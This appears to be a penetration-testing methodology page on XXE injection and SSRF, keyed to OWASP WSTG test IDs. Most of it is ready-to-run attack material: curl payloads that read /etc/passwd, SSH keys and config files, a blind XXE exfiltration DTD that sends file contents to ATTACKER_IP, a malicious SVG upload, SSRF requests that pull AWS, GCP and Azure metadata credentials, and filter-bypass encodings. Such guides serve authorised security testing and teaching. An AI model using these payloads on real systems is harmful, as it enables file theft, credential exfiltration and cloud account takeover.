Skip to main content

XXE & SSRF

WSTG-INPVAL-07, WSTG-INPVAL-19


XXE - XML External Entity Injection​

Understanding XXE​

XML External Entity (XXE) injection occurs when an XML parser processes user-supplied XML that includes a reference to an external entity. If the parser is configured to resolve external entities (which is the default in many parsers), the attacker can:

  • Read arbitrary files from the server filesystem
  • Perform SSRF via the XML parser (access internal services)
  • In some configurations, achieve remote code execution

Where to look for XXE:

  • Any endpoint that accepts XML in the request body (Content-Type: application/xml or text/xml)
  • File upload of XML-based formats: .docx, .xlsx, .pptx, .svg, .gpx, .kml
  • SOAP web services
  • REST APIs that accept XML as an alternative to JSON

Basic XXE - Local File Read​

# Standard XXE payload - read /etc/passwd
curl -si -X POST http://target.com/parse \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><data>&xxe;</data></root>'

# Windows target - read system file
curl -si -X POST http://target.com/parse \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">]>
<root><data>&xxe;</data></root>'

# Other high-value Linux files to target
# file:///etc/shadow (credentials - requires root)
# file:///etc/hosts (internal hostnames)
# file:///proc/self/environ (environment variables - may contain credentials)
# file:///var/www/html/config.php (application config with DB credentials)
# file:///home/<user>/.ssh/id_rsa (private SSH keys)
tip

If the response doesn't directly include file content, the application may still be processing the entity but not outputting it - this is blind XXE. Use out-of-band techniques below.

XXE via SSRF - Internal Service Access​

The XML parser will make HTTP/HTTPS requests on behalf of the server. Use this to probe internal services:

# Probe internal HTTP service (e.g., internal API on port 8080)
curl -si -X POST http://target.com/parse \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080/admin">]>
<root><data>&xxe;</data></root>'

# AWS EC2 metadata service - extract IAM credentials
curl -si -X POST http://target.com/parse \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">]>
<root><data>&xxe;</data></root>'

Blind XXE - Out-of-Band Data Exfiltration​

When the response doesn't reflect the file content, exfiltrate via DNS or HTTP to a server you control.

# Start a listener on Kali
nc -lvnp 8080

# Blind XXE via HTTP callback - confirms parser resolves external entities
curl -si -X POST http://target.com/parse \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://ATTACKER_IP:8080/xxe-test">]>
<root><data>&xxe;</data></root>'

# Exfiltrate file content via HTTP parameter (requires external DTD hosting)
# Host this DTD on your attacker machine at http://ATTACKER_IP/evil.dtd:
# <!ENTITY % file SYSTEM "file:///etc/passwd">
# <!ENTITY % exfil "<!ENTITY &#x25; send SYSTEM 'http://ATTACKER_IP/?data=%file;'>">
# %exfil;
# %send;

curl -si -X POST http://target.com/parse \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % dtd SYSTEM "http://ATTACKER_IP/evil.dtd">%dtd;]>
<root><data>test</data></root>'

XXE in File Uploads​

Office documents (.docx, .xlsx) are ZIP archives containing XML files. SVG files are also XML.

# Create a malicious SVG - if the server processes/renders SVGs, XXE executes
cat > /tmp/evil.svg << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg">
<text>&xxe;</text>
</svg>
EOF

# Upload it to any image/file upload endpoint that accepts SVG
curl -si -X POST http://target.com/upload \
-F "file=@/tmp/evil.svg"

SSRF - Server-Side Request Forgery​

Understanding SSRF​

SSRF occurs when a web application fetches a remote resource based on user-supplied input (a URL, hostname, or IP address) without properly validating that it's an allowed destination. The server makes the request on the attacker's behalf - from the server's network perspective, not the attacker's.

Why SSRF is critical: The application server typically has access to internal services that are not reachable from the internet - internal APIs, databases, cloud metadata services, admin interfaces, and internal network hosts. SSRF turns the application server into a proxy into the internal network.

Where to look for SSRF:

  • URL parameters: ?url=, ?link=, ?redirect=, ?src=, ?image=, ?fetch=, ?load=
  • Webhook configuration - "notify me at URL X when event Y happens"
  • PDF/screenshot generators - user supplies a URL to render
  • Import/export functionality - "import data from URL"
  • Profile avatar fetch-by-URL features
  • Any feature that fetches remote content on behalf of the user

Basic SSRF Detection​

# Test 1: Redirect to localhost - does the response change?
curl -si "http://target.com/fetch?url=http://127.0.0.1/"
curl -si "http://target.com/fetch?url=http://localhost/"

# Test 2: Internal RFC-1918 ranges
curl -si "http://target.com/fetch?url=http://192.168.1.1/"
curl -si "http://target.com/fetch?url=http://10.0.0.1/"
curl -si "http://target.com/fetch?url=http://172.16.0.1/"

# Test 3: Non-standard port on localhost - probe internal services
curl -si "http://target.com/fetch?url=http://127.0.0.1:22/" # SSH
curl -si "http://target.com/fetch?url=http://127.0.0.1:3306/" # MySQL
curl -si "http://target.com/fetch?url=http://127.0.0.1:6379/" # Redis
curl -si "http://target.com/fetch?url=http://127.0.0.1:8080/" # Internal web
curl -si "http://target.com/fetch?url=http://127.0.0.1:9200/" # Elasticsearch

Response interpretation:

  • Different response size/content for 127.0.0.1 vs. a non-existent host = SSRF confirmed
  • Connection refused errors for some ports but not others = internal port scanning via SSRF
  • Timeout on some ports = port is filtered (but host is reachable)

Cloud Metadata Service​

The highest-impact SSRF target in cloud-hosted applications:

# AWS EC2 IMDSv1 - no auth required
curl -si "http://target.com/fetch?url=http://169.254.169.254/latest/meta-data/"
curl -si "http://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# Follow up - get the actual credential set
curl -si "http://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME"
# Returns AccessKeyId, SecretAccessKey, Token - usable with AWS CLI for account compromise

# Google Cloud metadata
curl -si "http://target.com/fetch?url=http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token"
# Requires: Metadata-Flavor: Google header - may be blocked

# Azure metadata
curl -si "http://target.com/fetch?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01"
danger

Exfiltrating AWS IAM credentials via SSRF to the cloud metadata service is one of the highest-impact web vulnerabilities possible - it can give an attacker full control of the AWS account. Document and escalate immediately.

Blind SSRF​

When the response doesn't return the fetched content, use out-of-band detection:

# Set up a listener
nc -lvnp 8080

# Trigger a callback to your attacker machine
curl -si "http://target.com/fetch?url=http://ATTACKER_IP:8080/ssrf-test"

# DNS-based - use a unique subdomain (look in DNS logs or use Burp Collaborator equivalent)
curl -si "http://target.com/fetch?url=http://ssrf-test.ATTACKER_DOMAIN/"

SSRF Filter Bypass​

Applications often implement blocklists against 127.0.0.1, localhost, and RFC-1918 ranges. Bypass techniques:

# Decimal/octal/hex encoding of 127.0.0.1
http://2130706433/ # Decimal representation of 127.0.0.1
http://0x7f000001/ # Hex
http://0177.0000.0000.0001/ # Octal

# IPv6 loopback
http://[::1]/
http://[0:0:0:0:0:ffff:127.0.0.1]/

# DNS rebinding / redirect - point your domain to 127.0.0.1
# http://ssrf.ATTACKER_DOMAIN/ -> (DNS resolves to 127.0.0.1)

# URL short schemes
http://target.com/fetch?url=dict://127.0.0.1:6379/info # Redis commands via dict://
http://target.com/fetch?url=file:///etc/passwd # File read via file://
http://target.com/fetch?url=gopher://127.0.0.1:6379/_INFO # Gopher - powerful protocol

# Case variation
http://LocalHost/
http://LOCALHOST/